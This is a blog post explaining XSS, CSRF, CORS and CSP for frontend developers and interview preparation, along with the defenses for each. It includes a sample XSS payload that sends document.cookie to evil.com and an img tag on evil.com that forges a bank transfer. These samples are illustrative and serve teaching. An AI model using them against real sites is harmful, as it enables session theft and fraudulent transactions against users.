← log
2026.03.29 5 min securityfrontend

Web Security: CSRF, CORS, CSP, and XSS

XSS, CSRF, CORS and CSP, explained together: which are attacks and which are defenses, what frontend developers do about each, and what interviews actually ask.

These four acronyms come up constantly in frontend interviews, and they’re often explained in isolation — which makes them harder to remember and easier to confuse. They’re not the same kind of thing. Understanding what category each one belongs to is the first step.

  • XSS — an attack vector. Someone injects malicious code into your page.
  • CSRF — an attack vector. Someone tricks a user into making an unintended request.
  • CORS — a browser mechanism. Controls which origins can make cross-origin requests.
  • CSP — a browser mechanism. Controls which resources a page is allowed to load.

CORS and CSP are defenses. XSS and CSRF are the things you’re defending against. That distinction matters.


XSS — Cross-Site Scripting

The mental model

An attacker gets their JavaScript to run on your page. Once that happens, they have the same access your code has — cookies, localStorage, the DOM, the ability to make requests as the user.

How it happens

You take user input and render it as HTML without sanitizing it first:

// Dangerous
document.innerHTML = userInput;

// Also dangerous
element.innerHTML = `<p>Welcome, ${username}</p>`;

If username is <script>fetch('https://evil.com?c='+document.cookie)</script>, you’ve just exfiltrated the user’s cookies.

There are two main types:

  • Stored XSS — the malicious input is saved to the database and served to other users. A comment field that renders HTML is the classic example.
  • Reflected XSS — the payload is in the URL and reflected back in the response. Less common now but still relevant.

What frontend devs actually do about it

  • Never use innerHTML with user-supplied data. Use textContent instead.
  • If you must render HTML, use a sanitization library like DOMPurify.
  • React, Vue, and most modern frameworks escape output by default — but dangerouslySetInnerHTML in React bypasses this entirely. Treat it as a red flag.
  • HttpOnly cookies can’t be read by JavaScript, which limits what a successful XSS attack can steal.

The interview gotcha

Interviewers sometimes conflate XSS with CSRF. They’re different attacks with different mitigations. XSS is about injecting code; CSRF is about forging requests. An XSS attack can bypass CSRF protections, which is why XSS prevention is so important.


CSRF — Cross-Site Request Forgery

The mental model

The user is logged into your bank. They visit a malicious site. That site makes a request to your bank’s API — and the browser automatically sends the user’s cookies with it. The bank can’t tell the difference between a legitimate request and a forged one.

CSRF exploits the fact that browsers attach cookies to requests regardless of where the request originated.

How it happens

<!-- On evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">

The browser loads that “image,” sends the authenticated request, and the transfer goes through.

What frontend devs actually do about it

  • SameSite cookies — the modern default. Setting SameSite=Strict or SameSite=Lax tells the browser not to send cookies on cross-origin requests. This largely solves CSRF without any application-level token logic.
  • CSRF tokens — the older approach. The server issues a unique token per session, the client includes it in state-changing requests, and the server validates it. An attacker on another origin can’t read this token due to the same-origin policy.
  • For SPAs making API calls with Authorization headers (not cookies), CSRF is mostly a non-issue — custom headers can’t be sent cross-origin without CORS permission.

The interview gotcha

CSRF is often misunderstood as “cross-site anything.” It’s specifically about forged requests that carry the victim’s credentials. If your API uses tokens in headers rather than cookies, CSRF doesn’t apply in the traditional sense. The interview question “how do you prevent CSRF?” has a different answer depending on your auth mechanism.


CORS — Cross-Origin Resource Sharing

The mental model

The same-origin policy is a browser rule: a page at app.com can’t make requests to api.otherdomain.com by default. CORS is the mechanism that lets servers opt in to allowing cross-origin requests.

CORS is not a security feature — it’s a relaxation of security. The same-origin policy is the security feature.

How it works

When your frontend at app.com makes a request to api.com, the browser checks the response headers:

Access-Control-Allow-Origin: https://app.com

If the origin matches, the browser allows the response through. If not, it blocks it — even if the server processed the request.

For requests that modify state (POST, PUT, DELETE) or send custom headers, the browser first sends a preflight request (OPTIONS) to ask permission:

Access-Control-Allow-Origin: https://app.com
Access-Control-Allow-Methods: POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization

What frontend devs actually do about it

  • CORS errors are a browser enforcement, not a server error. The request often did reach the server.
  • Access-Control-Allow-Origin: * allows any origin — fine for public APIs, not for anything authenticated.
  • You can’t fix CORS from the frontend. The server has to set the right headers.
  • In development, proxying requests through your dev server (Vite’s proxy config, for example) sidesteps CORS because the request appears same-origin.

The interview gotcha

“CORS is a security feature” is a common misconception. It’s a controlled relaxation. The actual security comes from the same-origin policy that CORS loosens. Also: CORS doesn’t prevent CSRF. A CORS-protected endpoint still accepts cookies from the browser on same-origin requests.


CSP — Content Security Policy

The mental model

CSP is a browser mechanism where you tell the browser exactly what it’s allowed to load and execute. It’s a second line of defense against XSS — even if an attacker injects a script tag, CSP can prevent it from executing.

How it works

You send a Content-Security-Policy header (or use a <meta> tag) with directives:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; img-src *;

This says: scripts can only come from this origin or the specified CDN. Images can come from anywhere. Everything else defaults to same-origin only.

A strict policy would block inline scripts entirely:

Content-Security-Policy: script-src 'self'

This means <script>alert('xss')</script> injected by an attacker simply won’t run.

What frontend devs actually do about it

  • CSP is often misconfigured. unsafe-inline and unsafe-eval are common escapes that negate most of the protection.
  • Nonces and hashes are the right way to allow specific inline scripts without using unsafe-inline.
  • Start with a report-only policy (Content-Security-Policy-Report-Only) to find violations before enforcing them.
  • CSP violations can be reported to an endpoint with report-uri or report-to — useful for catching attacks in production.

The interview gotcha

CSP doesn’t prevent XSS — it limits what a successful XSS attack can do. The attacker might still inject a script tag, but CSP can stop it from loading external resources or executing inline. The two layers together (input sanitization + CSP) are more effective than either alone.


How they relate

Prevents Mechanism
XSS Code injection Input sanitization, framework escaping, HttpOnly cookies
CSRF Forged requests SameSite cookies, CSRF tokens
CORS Unauthorized cross-origin reads Server-set response headers
CSP Unauthorized resource loading Browser policy enforcement

The interaction that matters most: XSS can defeat CSRF protection. If an attacker can run JavaScript on your page, they can read your CSRF token and include it in a forged request. This is why XSS prevention is the foundation — the other defenses assume your page hasn’t been compromised.


What actually comes up in interviews

The questions are usually surface-level (“what is CSRF?”), but the follow-ups reveal depth:

  • “SameSite=Lax vs Strict — when would you use each?” Lax allows cookies on top-level navigations (clicking a link), Strict doesn’t. Strict breaks OAuth flows and “open in new tab” patterns.
  • “Can CORS prevent CSRF?” No. CORS controls what the browser will read from cross-origin responses. Cookies are still sent on requests unless SameSite prevents it.
  • “When would you use a nonce in CSP?” When you need to allow a specific inline script without opening up unsafe-inline for everything.
  • “What’s the difference between stored and reflected XSS?” Stored persists in the database and affects all users who view that content. Reflected is in the request and affects only the user who clicks the malicious link.

Understanding the relationships between these mechanisms — not just what each one does in isolation — is what separates a considered answer from a memorized one.